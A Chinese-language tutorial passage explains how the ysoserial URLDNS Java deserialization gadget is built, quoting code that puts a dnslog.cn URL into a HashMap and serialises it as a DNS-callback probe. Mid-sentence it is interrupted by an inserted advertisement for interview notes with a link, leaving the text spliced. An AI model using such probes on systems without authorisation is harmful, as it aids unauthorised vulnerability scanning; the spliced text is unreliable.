Java反序列化之ysoserial URLDNS模块分析，用微课学java高级开发

URLStreamHandler handler = new SilentURLStreamHandler();

创建了URLStreamHandler对象，该对象的作用，后面我们会详细说到。

接着：

HashMap ht = new HashMap();

创建了HashMap对象：

URL u = new URL(null, “http://lyxhh.dnslog.cn”, handler);

URL对象：

ht.put(u, “http://lyxhh.dnslog.cn”);

将URL对象作为HashMap中的key，dnslog地址为值，存入HashMap中。

Reflections.setFieldValue(u, “hashCode”, -1);

通过反射机制 设置URL对象的成员变量hashCode值为-1，为什么要设置值为-1，这问题在反序列化时会详细说到。

将HashMap对象返回 return ht; ，接着对 HashMap对象 进行序列化操作 Serializer.serialize(object, out); 并将序列化的结果重定向到 dnslog.ser 文件中。

由于HashMap中重写了writeObject方法，因此在进行序列化操作时，执行的序列化方法是HashMap中的writeObject方法，具体如下：

先执行默认的序列化操作:

接着 遍历HashMap，对HashMap中的key，value进行序列化。

综上所述，梳理下ysoserial payload，URLDNS 序列化的整个过程：

• 首先 ysoserial 通过反射的方式，根据全限定类名 ysoserial.payloads.URLDNS ，获取对应的Class类对象，并通过Class类对象的 newInstance() 方法，获取URLDNS对象。

• 接着执行URLDNS对象中的getObject方法。

• 在getObject方法中，创建了URLStreamHandler 对象 URLStreamHandler handler = new SilentURLStreamHandler(); ，该对象会被URL对象引用。

• 创建HashMa

《一线大厂Java面试题解析+后端开发学习笔记+最新架构讲解视频+实战项目源码讲义》

【docs.qq.com/doc/DSmxTbFJ1cmN1R2dB】 完整内容开源分享

p对象 HashMap